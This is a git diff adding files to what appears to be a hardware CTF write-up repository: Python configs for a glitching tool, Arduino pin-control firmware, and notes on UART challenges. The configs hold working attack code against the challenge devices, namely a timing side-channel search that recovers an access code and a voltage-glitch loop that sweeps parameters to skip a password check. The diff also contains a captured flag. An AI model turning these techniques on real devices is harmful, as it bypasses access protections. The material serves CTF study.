+ if time.time() - start_time >= 1.0:
+ functions.add_text("[timeout: no input detected within 1 second]")
+ break
+
+ last_state = current_state
+ time.sleep(0.01) # Polling interval (10 ms)
+
+
+def button_dash():
+ functions.run_output_high(1, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(1, 3000)
+
+def button_space():
+ functions.run_output_high(2, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(2, 3000)
+
+def button_dot():
+ functions.run_output_high(3, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(3, 3000)
+
+
+def echo_trigger_state():
+ for channel in range(8):
+ state = functions.get_trigger_value(channel)
+ if state == 1:
+ functions.add_text(f"Channel {channel}: HIGH")
+ else:
+ functions.add_text(f"Channel {channel}: LOW")
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/08_logic.png b/docs/08_logic.png
new file mode 100644
index 0000000..e9e7189
--- /dev/null
+++ b/docs/08_logic.png
Binary files differ
diff --git a/docs/09_GoB.png b/docs/09_GoB.png
new file mode 100644
index 0000000..c772a3a
--- /dev/null
+++ b/docs/09_GoB.png
Binary files differ
diff --git a/docs/09_GoB_config.py b/docs/09_GoB_config.py
new file mode 100644
index 0000000..94c453d
--- /dev/null
+++ b/docs/09_GoB_config.py
@@ -0,0 +1,155 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ """
+ Discover a five-digit code by sending candidate pulses and measuring the
+ interval from sending OK (pin 8) until input goes HIGH using wait_for().
+
+ For each digit:
+ - Send one pulse for previously found digits.
+ - Send repeated pulses of the candidate digit to fill 5 pulses.
+ - Pulse OK (pin 8) to trigger the device.
+ - Measure duration using wait_for() for input HIGH.
+ - Select candidate with the longest LOW duration before HIGH.
+ """
+ candidate_pins = [9, 10, 11]
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"}
+
+ button_ok()
+ functions.add_text("[INFO] Pulsing output pin 8 to reset device...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ functions.add_text("[INFO] Starting full code discovery sequence...")
+
+ for digit_index in range(5):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}...")
+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build sequence: previously found digits + candidate repeated
+ sequence = code_sequence.copy()
+ remaining_pulses = 5 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)} ...")
+
+ # Send sequence pulses (without timing)
+ for pin in sequence:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.1)
+
+ # Start timer and pulse OK (pin 8)
+ start_time = time.time()
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+
+ # Wait for input to go HIGH and measure duration
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
+ end_time = time.time()
+
+ # Use the Arduino-provided LOW duration, fallback to timer if needed
+ duration = result.get("duration_ms", int((end_time - start_time) * 1000))
+ functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.")
+
+ results[test_pin] = duration
+ time.sleep(0.3)
+
+ # Select candidate with longest duration (correct digit)
+ correct_pin = max(results, key=results.get)
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+ code_sequence.append(correct_pin)
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
\ No newline at end of file
diff --git a/docs/09_arduino.ino b/docs/09_arduino.ino
new file mode 100644
index 0000000..9d7d09b
--- /dev/null
+++ b/docs/09_arduino.ino
@@ -0,0 +1,352 @@
+/*
+=====================================================================
+ARDUINO SERIAL PIN CONTROL AND MONITORING FIRMWARE
+=====================================================================
+Version: 1.3.0
+Author: [Your Name]
+Board Support: UNO, NANO, MEGA2560, LEONARDO (auto-detected)
+
+DESCRIPTION
+---------------------------------------------------------------------
+This firmware enables external control and monitoring of Arduino
+digital pins through a serial interface. It is designed for
+integration with Python or similar host software.
+
+The firmware supports dynamic pin-mode configuration, runtime
+output control, input monitoring, duration measurement, and pin-map
+query. All commands and responses use ASCII text terminated by '\n'.
+
+=====================================================================
+ASCII COMMAND REFERENCE
+=====================================================================
+
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| COMMAND | EXAMPLE REQUEST | EXAMPLE RESPONSE | DESCRIPTION |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| GET_VERSION | GET_VERSION | VERSION:1.3.0 | Returns firmware version to confirm serial communication. |
+| | | | |
+| SET_MODE | SET_MODE:8:OUTPUT | ACK:SET_MODE:8:OUTPUT | Configures a pin as INPUT or OUTPUT dynamically. |
+| | SET_MODE:2:INPUT | ACK:SET_MODE:2:INPUT | |
+| | | | |
+| GET_PINMAP | GET_PINMAP | PINMAP:INPUT:2;OUTPUT:8,9,10,11 | Returns the current input and output pin assignments. |
+| | | | |
+| SET_DEFAULT | SET_DEFAULT:8:HIGH | ACK:SET_DEFAULT:8:HIGH | Sets an output pin to a default state until changed. |
+| | | | |
+| SET_FOR | SET_FOR:9:HIGH:500 | ACK:SET_FOR:9:HIGH:500 | Sets an output pin to a state for a duration (ms). |
+| | | | Automatically reverts afterwards. |
+| | | | |
+| WATCH | WATCH:2 | ACK:WATCH:2 | Begins monitoring an input pin. Reports state changes as: |
+| | | CHANGE:2:HIGH:1421 | - Pin number, new state, and duration since last change. |
+| | | | |
+| GET_STATE | GET_STATE:2 | STATE:2:LOW | Returns current digital state of a specified pin. |
+| | | | |
+| GET_DURATION | GET_DURATION:2 | DURATION:2:1431 | Returns elapsed time since the pin’s last state change. |
+| | | | |
+| WAIT_FOR | WAIT_FOR:2:HIGH | WAIT_RESULT:2:HIGH:1432 | Waits until a pin reaches target state; returns duration. |
+| | | | |
+| ERROR HANDLING | UNKNOWN COMMAND | ERROR:UNKNOWN_COMMAND | Returned if a command is unrecognised or malformed. |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+
+=====================================================================
+OPERATIONAL NOTES
+---------------------------------------------------------------------
+- Baud rate: 115200
+- Line termination: newline ('\n')
+- States are HIGH or LOW
+- Durations in milliseconds
+- All commands and responses are ASCII
+
+=====================================================================
+*/
+
+#include
+
+// ------------------------------------------------------------------
+// Board-specific pin range detection
+// ------------------------------------------------------------------
+#if defined(ARDUINO_AVR_UNO) || defined(ARDUINO_AVR_NANO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#elif defined(ARDUINO_AVR_MEGA2560)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 53;
+#elif defined(ARDUINO_AVR_LEONARDO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#else
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#endif
+
+const int NUM_PINS = LAST_PIN - FIRST_PIN + 1;
+
+// ------------------------------------------------------------------
+// Dynamic role and state tracking
+// ------------------------------------------------------------------
+bool isInput[NUM_PINS];
+bool isOutput[NUM_PINS];
+bool watching[NUM_PINS];
+unsigned long lastChangeTime[NUM_PINS];
+int lastState[NUM_PINS];
+
+// ------------------------------------------------------------------
+// Setup
+// ------------------------------------------------------------------
+void setup() {
+ Serial.begin(115200);
+
+ // Default: all usable pins configured as OUTPUT and LOW
+ for (int i = 0; i < NUM_PINS; i++) {
+ int pin = FIRST_PIN + i;
+ pinMode(pin, OUTPUT);
+ digitalWrite(pin, LOW);
+ isInput[i] = false;
+ isOutput[i] = true;
+ watching[i] = false;
+ lastState[i] = LOW;
+ lastChangeTime[i] = millis();
+ }
+
+ Serial.println("READY");
+}
+
+// ------------------------------------------------------------------
+// Main loop
+// ------------------------------------------------------------------
+void loop() {
+ handleSerial();
+ monitorWatchedPins();
+}
+
+// ------------------------------------------------------------------
+// Serial command processing
+// ------------------------------------------------------------------
+void handleSerial() {
+ static String inputString = "";
+ while (Serial.available()) {
+ char c = Serial.read();
+ if (c == '\n') {
+ inputString.trim();
+ processCommand(inputString);
+ inputString = "";
+ } else {
+ inputString += c;
+ }
+ }
+}
+
+// ------------------------------------------------------------------
+// Command dispatcher
+// ------------------------------------------------------------------
+void processCommand(String cmd) {
+ if (cmd == "GET_VERSION") {
+ Serial.println("VERSION:1.3.0");
+ } else if (cmd == "GET_PINMAP") {
+ handleGetPinmap();
+ } else if (cmd.startsWith("SET_MODE")) {
+ handleSetMode(cmd);
+ } else if (cmd.startsWith("SET_DEFAULT")) {
+ handleSetDefault(cmd);
+ } else if (cmd.startsWith("SET_FOR")) {
+ handleSetFor(cmd);
+ } else if (cmd.startsWith("WATCH")) {
+ handleWatch(cmd);
+ } else if (cmd.startsWith("GET_STATE")) {
+ handleGetState(cmd);
+ } else if (cmd.startsWith("GET_DURATION")) {
+ handleGetDuration(cmd);
+ } else if (cmd.startsWith("WAIT_FOR")) {
+ handleWaitFor(cmd);
+ } else {
+ Serial.println("ERROR:UNKNOWN_COMMAND");
+ }
+}
+
+// ------------------------------------------------------------------
+// Command handlers
+// ------------------------------------------------------------------
+
+// --- SET_MODE:PIN:MODE ------------------------------------------------
+void handleSetMode(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String mode = cmd.substring(second + 1);
+
+ if (pin < FIRST_PIN || pin > LAST_PIN) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+
+ int index = pin - FIRST_PIN;
+ if (mode == "INPUT") {
+ pinMode(pin, INPUT);
+ isInput[index] = true;
+ isOutput[index] = false;
+ } else if (mode == "OUTPUT") {
+ pinMode(pin, OUTPUT);
+ isInput[index] = false;
+ isOutput[index] = true;
+ } else {
+ Serial.println("ERROR:INVALID_MODE");
+ return;
+ }
+
+ Serial.print("ACK:SET_MODE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(mode);
+}
+
+// --- GET_PINMAP -------------------------------------------------------
+void handleGetPinmap() {
+ String response = "PINMAP:INPUT:";
+ bool firstInput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isInput[i]) {
+ if (!firstInput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstInput = false;
+ }
+ }
+ response += ";OUTPUT:";
+ bool firstOutput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isOutput[i]) {
+ if (!firstOutput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstOutput = false;
+ }
+ }
+ Serial.println(response);
+}
+
+// --- SET_DEFAULT:PIN:STATE --------------------------------------------
+void handleSetDefault(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1);
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ Serial.print("ACK:SET_DEFAULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state ? "HIGH" : "LOW");
+}
+
+// --- SET_FOR:PIN:STATE:DURATION ---------------------------------------
+void handleSetFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ int third = cmd.indexOf(':', second + 1);
+ if (first == -1 || second == -1 || third == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1, third);
+ unsigned long duration = cmd.substring(third + 1).toInt();
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ delay(duration);
+ digitalWrite(pin, state ? LOW : HIGH);
+
+ Serial.print("ACK:SET_FOR:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(state ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WATCH:PIN ---------------------------------------------------------
+void handleWatch(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS || !isInput[index]) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+ watching[index] = true;
+ Serial.print("ACK:WATCH:");
+ Serial.println(pin);
+}
+
+// --- GET_STATE:PIN -----------------------------------------------------
+void handleGetState(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int state = digitalRead(pin);
+ Serial.print("STATE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state == HIGH ? "HIGH" : "LOW");
+}
+
+// --- GET_DURATION:PIN --------------------------------------------------
+void handleGetDuration(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS) return;
+ unsigned long duration = millis() - lastChangeTime[index];
+ Serial.print("DURATION:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WAIT_FOR:PIN:STATE ------------------------------------------------
+void handleWaitFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+ int pin = cmd.substring(first + 1, second).toInt();
+ String targetStateStr = cmd.substring(second + 1);
+ bool targetState = (targetStateStr == "HIGH");
+ unsigned long startTime = millis();
+ while (digitalRead(pin) != targetState) {
+ delay(1);
+ }
+ unsigned long duration = millis() - startTime;
+ Serial.print("WAIT_RESULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(targetState ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// ------------------------------------------------------------------
+// Watch monitoring
+// ------------------------------------------------------------------
+void monitorWatchedPins() {
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (watching[i] && isInput[i]) {
+ int pin = FIRST_PIN + i;
+ int currentState = digitalRead(pin);
+ if (currentState != lastState[i]) {
+ unsigned long now = millis();
+ unsigned long duration = now - lastChangeTime[i];
+ lastChangeTime[i] = now;
+ lastState[i] = currentState;
+ Serial.print("CHANGE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(currentState == HIGH ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+ }
+ }
+ }
+}
diff --git a/docs/09_header_pins.png b/docs/09_header_pins.png
new file mode 100644
index 0000000..6b970b5
--- /dev/null
+++ b/docs/09_header_pins.png
Binary files differ
diff --git a/docs/09_logic_01.png b/docs/09_logic_01.png
new file mode 100644
index 0000000..ee2983b
--- /dev/null
+++ b/docs/09_logic_01.png
Binary files differ
diff --git a/docs/09_logic_02.png b/docs/09_logic_02.png
new file mode 100644
index 0000000..ea925d4
--- /dev/null
+++ b/docs/09_logic_02.png
Binary files differ
diff --git a/docs/09_logic_03.png b/docs/09_logic_03.png
new file mode 100644
index 0000000..4270c11
--- /dev/null
+++ b/docs/09_logic_03.png
Binary files differ
diff --git a/docs/09_result.png b/docs/09_result.png
new file mode 100644
index 0000000..69d6d2f
--- /dev/null
+++ b/docs/09_result.png
Binary files differ
diff --git a/docs/09_setup.png b/docs/09_setup.png
new file mode 100644
index 0000000..b73fbf5
--- /dev/null
+++ b/docs/09_setup.png
Binary files differ
diff --git a/docs/10_GoB.png b/docs/10_GoB.png
new file mode 100644
index 0000000..f694e8c
--- /dev/null
+++ b/docs/10_GoB.png
Binary files differ
diff --git a/docs/10_GoB_config.py b/docs/10_GoB_config.py
new file mode 100644
index 0000000..01de69c
--- /dev/null
+++ b/docs/10_GoB_config.py
@@ -0,0 +1,152 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ candidate_pins = [8, 9, 10, 11] # include pin 8 as a candidate
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "*", 10: ".", 11: "-"}
+
+ functions.add_text("[INFO] Starting full code discovery sequence")
+
+ for digit_index in range(4):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}")
+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build the sequence: previously found digits + candidate repeated to fill 4 pulses
+ sequence = code_sequence.copy()
+ remaining_pulses = 4 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing candidate pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)}")
+
+ # Send all pulses in the sequence, starting timer immediately before the fourth pulse
+ for i, pin in enumerate(sequence):
+ if i == len(sequence) - 1:
+ # Start timer immediately before sending the fourth pulse
+ start_time = time.time()
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ # Allow a short interval for the device to react
+ time.sleep(0.05)
+ # Wait for the input to go HIGH and capture result
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
+ end_time = time.time()
+
+ # Safely extract duration from result or compute fallback
+ if isinstance(result, dict):
+ duration = result.get("duration_ms",
+ int((end_time - start_time) * 1000))
+ else:
+ duration = int((end_time - start_time) * 1000)
+
+ functions.add_text(f"[RESULT] Candidate pin {test_pin} - LOW->HIGH {duration} ms.")
+ results[test_pin] = duration
+ else:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ # small pause between candidates
+ time.sleep(0.8)
+
+ # Choose the candidate with the longest duration for this digit
+ correct_pin = max(results, key=results.get)
+ code_sequence.append(correct_pin)
+
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
+
+def stop_glitch():
+ functions.set_uart_switch(False)
\ No newline at end of file
diff --git a/docs/10_setup.png b/docs/10_setup.png
new file mode 100644
index 0000000..008945c
--- /dev/null
+++ b/docs/10_setup.png
Binary files differ
diff --git a/docs/11_GoB.png b/docs/11_GoB.png
new file mode 100644
index 0000000..07f38ae
--- /dev/null
+++ b/docs/11_GoB.png
Binary files differ
diff --git a/docs/11_GoB_config.py b/docs/11_GoB_config.py
new file mode 100644
index 0000000..f7e8036
--- /dev/null
+++ b/docs/11_GoB_config.py
@@ -0,0 +1,123 @@
+import functions
+import threading
+import time
+
+###### Config values ######
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 1000000
+UART_NEWLINE = "\n"
+
+LENGTH = 12
+REPEAT = 1
+DELAY = 0
+
+### name, enabled, string to match ###
+conditions = [
+ ['run', True, 'Password:', 'try_glitch'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+###### Custom functions ######
+def try_glitch():
+ Len = functions.get_config_value("length")
+ Rep = functions.get_config_value("repeat")
+ Del = functions.get_config_value("delay")
+ time.sleep(0.2)
+
+ tx_thread = threading.Thread(
+ target=functions.send_uart_message,
+ args=("aaaaaaaaaaaaaaaaaaaaa",),
+ daemon=True
+ )
+
+ glitch_thread = threading.Thread(
+ target=functions.start_glitch,
+ args=(Len, Rep, Del),
+ daemon=True
+ )
+
+ glitch_thread.start()
+ tx_thread.start()
+
+ try:
+ current_delay = int(Del)
+ except (ValueError, TypeError):
+ current_delay = 0
+
+ try:
+ current_repeat = int(Rep)
+ except (ValueError, TypeError):
+ current_repeat = 0
+
+ new_delay = current_delay + 1
+
+ if new_delay >= 51:
+ new_delay = 0
+ new_repeat = current_repeat + 1
+ if new_repeat >= 20:
+ new_repeat = 1
+ functions.set_config_value("repeat", new_repeat)
+
+ functions.set_config_value("delay", new_delay)
+
+
+def stop_glitch():
+ buf = functions.read_uart_buffer()
+
+ if "TS{D@mn_y0u_@r3_g006}" in buf:
+ functions.start_glitch(16, 1, 0)
+ else:
+ functions.set_condition_value(0, False)
+ functions.set_uart_switch(False)
+
+
+###### Inactivity watchdog ######
+def config_inactivity_monitor(timeout=5):
+ """
+ Monitor 'delay' and 'repeat' configuration values.
+ Restart device if they do not change for 'timeout' seconds
+ AND condition 0 remains True.
+ """
+ # Wait for functions.config to be initialised
+ while True:
+ try:
+ _ = functions.get_config_value("delay")
+ break
+ except AttributeError:
+ print("[Watchdog] Waiting for configuration to initialise...")
+ time.sleep(1)
+
+ last_delay = functions.get_config_value("delay")
+ last_repeat = functions.get_config_value("repeat")
+ last_change_time = time.time()
+
+ while True:
+ try:
+ current_delay = functions.get_config_value("delay")
+ current_repeat = functions.get_config_value("repeat")
+ condition_active = functions.get_condition_value(0)
+
+ if str(current_delay) != str(last_delay) or str(current_repeat) != str(last_repeat):
+ last_change_time = time.time()
+ last_delay = current_delay
+ last_repeat = current_repeat
+
+ if condition_active and (time.time() - last_change_time > timeout):
+ print("[Watchdog] Inactivity detected. Restarting glitch...")
+ functions.start_glitch(16, 1, 0)
+ last_change_time = time.time()
+
+ except Exception as e:
+ print(f"[Watchdog Error] {e}")
+
+ time.sleep(1)
+
+
+# Start watchdog thread after slight delay to allow initialisation
+def start_watchdog():
+ time.sleep(2) # ensures 'functions.config' is ready
+ monitor_thread = threading.Thread(target=config_inactivity_monitor, daemon=True)
+ monitor_thread.start()
+
+
+threading.Thread(target=start_watchdog, daemon=True).start()
diff --git a/docs/11_glitch_wrong_flag.png b/docs/11_glitch_wrong_flag.png
new file mode 100644
index 0000000..8d57b59
--- /dev/null
+++ b/docs/11_glitch_wrong_flag.png
Binary files differ
diff --git a/docs/11_logic.png b/docs/11_logic.png
new file mode 100644
index 0000000..c7de52c
--- /dev/null
+++ b/docs/11_logic.png
Binary files differ
diff --git a/docs/11_setup.png b/docs/11_setup.png
new file mode 100644
index 0000000..e5a7396
--- /dev/null
+++ b/docs/11_setup.png
Binary files differ
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
